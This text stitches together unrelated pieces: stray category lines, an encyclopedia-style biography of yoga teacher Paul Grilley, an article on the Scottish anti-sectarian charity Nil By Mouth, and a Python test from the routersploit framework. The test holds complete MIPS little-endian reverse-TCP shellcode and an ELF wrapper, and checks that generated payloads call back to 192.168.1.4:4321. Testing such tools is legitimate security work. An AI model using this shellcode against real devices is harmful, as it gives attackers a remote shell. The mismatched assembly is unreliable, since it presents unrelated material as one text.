Consumer electronics retailers in the United States
Currys plc |
Paul Grilley (born November 11, 1958) is an American teacher of modern yoga known for helping, along with Sarah Powers, to develop the slow-paced style, Yin Yoga. He and his wife Suzee Grilley train teachers in Yin Yoga.
Education
Paul Grilley grew up in Martin City, Montana and is a graduate of Columbia Falls High School in Columbia Falls, Montana. He began to practise yoga in 1979, starting to study anatomy in Montana that same year. In 1982 he went on to study anatomy and kinesiology at the University of California, Los Angeles. He gained his master's degree at St John's College, Santa Fe in 2000. He was awarded an honorary Ph.D. by the California Institute for Human Science for his work on the relevance of fascia, the sheets of connective tissue that hold the body together, to the practice of yoga asanas.
Career
Grilley studied the slow-paced, less aggressive form of modern yoga called Yin Yoga under its creator, Paulie Zink, and later assisted with its development.
He taught yoga to Sarah Powers, who devised the name "Yin Yoga" and went on to develop her own variant of it, Insight Yoga. Grilley had until then described the form as "Taoist Yoga". He teaches Yin Yoga and trains yoga teachers with his wife Suzee Grilley. Their Yin Yoga curriculum covers the human anatomy of bones and muscles as well as seven asanas that they describe as archetypal, yoga and meditation. He serves as a master teacher at Pranamaya. From his knowledge of anatomy, Grilley states that it is not possible for everyone to do all asanas, because of variations in the shapes of specific bones; for example, some people have a much longer neck on the femur (thigh bone) than others, giving them, he argues, greater freedom of movement in the hip joint.
Grilley has stated that Yin Yoga is not a franchise or hybrid like Aqua Yoga or Disco Yoga, and the use of the term is not restricted by copyright or trademark; instead, it is an additional way of practising.
He has been interviewed and featured in magazines including Yoga Journal and Elephant Journal, and in chapters of books such as Victoria Bailey's 2012 Sharing Sadhana: Bailey describes him as both spiritual, as seen in his DVD on Chakra Theory and Meditation, and knowledgeable about the anatomical basis of yoga.
Personal life
In 1984, Grilley married Patti Davis, daughter of US president Ronald Reagan. They divorced in 1990. He then married Suzee Grilley (b. 1959); she is a Registered Yoga Teacher who has also taught Capoeira and modern dance. They live in Ashland, Oregon.
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Nil By Mouth is a Scottish charity, established in 2000, which seeks to challenge sectarianism within Scottish Society.
Nil By Mouth was founded as a campaign by Cara Henderson in response to the sectarian murder of her school friend, Mark Scott. Nil By Mouth's purpose is to promote the elimination of Sectarian attitudes and behaviours in Scotland with a view to the advancement of greater understanding and respect.
Nil By Mouth currently deliver inputs to schools, colleges and workplaces on issues surrounding sectarianism, including sectarian language and online hatred. The charity also appear regularly in the media to provide informed comment and analysis of incidents, policy decisions and to promote their own campaigns.
Mission Statement
Vision
Nil by Mouth is committed to a Scotland free from Sectarianism
Purpose
Nil by Mouth will promote the elimination of Sectarian attitudes and behaviours in Scotland with a view to the advancement of greater understanding and respect.
Aims & Objectives
1. Campaign for greater recognition of the damage caused by Sectarianism and promote positive change.
2. Work with legislation and policy developers to support the eradication of Sectarian attitudes, language and behaviour.
3. Develop, promote and deliver education and training to promote good relations and challenge Sectarian attitudes, language and behaviour.
4. Provide support and resources for individuals and organisations to challenge Sectarianism
Background
Teenager Mark Scott was murdered as he made his way home from a football match in Glasgow on 7 October 1995. Mark did not know his attacker, Jason Campbell. During Campbell's murder trial, it was revealed that one of the motives for his attack was Mark's perceived religious background based on the colour of his football scarf. Cara Henderson was 15 at the time her school friend was murdered. Four years later, in 1999, she began the process of establishing a campaign against sectarian hatred in Scotland.
Cara began campaigning in the media, telling her story at community events and lobbying politicians and policymakers. She launched a Charter for Change in 2000, which outlined Nil By Mouth's vision for challenging sectarian attitudes in Scotland. Cara won a Philip Lawrence Award for her work in empowering young people. Despite no longer being actively involved, Cara Henderson remains an honorary patron of the charity.
In 2015, Cara was named Evening Times Scotswoman of The Year for 2014. Regarded as one of the most prestigious awards in Scotland, Cara was chosen ahead of First Minister Nicola Sturgeon.
Activities
Beyond Religion & Belief
Beyond Religion and Belief is Nil By Mouth's workplace training package. The program, which can be delivered free of charge, has been developed and piloted over recent years in partnership with the Scottish Government, the STUC and many other public and private sector employers.
The package provides organizations with a framework to address sectarianism in the workplace and includes advice on; policy and procedure, awareness raising workshops, and a line management development module.
Champions for Change
In 2011 Nil By Mouth launched their Champions for Change schools programme with the aim of challenging sectarian attitudes through education at as early an age as possible. One of the core aims of Champions for Change is to encourage regular contact between young people from different religious and cultural traditions. The program is supported by the charity's own fundraising efforts and there is no charge to schools involved.
Pitch Perfect
Pitch Perfect is Nil By Mouth's marketing competition which gives further and higher education students the opportunity to create and design their own anti-sectarian awareness campaign. The first winner was the ‘Kiss Bigotry Goodbye’ campaign, which aims to highlight the positives of being a football fan in Scotland. More recent campaigns include ‘Just The Tip of The Iceberg’ and ‘Don’t Be a Clown’.
References
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Charities based in Glasgow
Sectarianism
2000 establishments in Scotland
Organizations established in 2000 |
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from routersploit.modules.payloads.mipsle.reverse_tcp import Payload
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b"\x0c\x09\x09\x01\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09"
b"\x01\xc9\x0f\x02\x24\x0c\x09\x09\x01\x10\xe1\x05\x3c\x02\x00"
b"\xa5\x34\xf8\xff\xa5\xaf\x01\x04\x05\x3c\xc0\xa8\xa5\x34\xfc"
b"\xff\xa5\xaf\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01"
b"\x4a\x10\x02\x24\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08"
b"\x35\xec\xff\xa8\xaf\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff"
b"\xa8\xaf\xff\xff\x07\x28\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec"
b"\xff\xa4\x23\xec\xff\xa8\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23"
b"\xec\xff\xbd\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x09\x09"
b"\x01"
)
# elf mipsle reverse tcp
elf_mipsle_reverse_tcp = (
b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x40\x00\x00\x00\x40\x00\x18\x01\x00\x00\xdc\x01\x00"
b"\x00\x07\x00\x00\x00\x00\x10\x00\x00\xff\xff\x04\x28\xa6\x0f"
b"\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28\xa6\x0f\x02\x24\x0c"
b"\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01\xa6\x0f\x02\x24"
b"\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01\x27\x28\x80"
b"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01\xff\xff"
b"\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24\x0c"
b"\x09\x09\x01\x10\xe1\x05\x3c\x02\x00\xa5\x34\xf8\xff\xa5\xaf"
b"\x01\x04\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf\xf8\xff\xa5"
b"\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x09"
b"\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf\x73"
b"\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8"
b"\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff"
b"\x06\x28\xab\x0f\x02\x24\x0c\x09\x09\x01"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.generate_elf(reverse_tcp) == elf_mipsle_reverse_tcp
``` |
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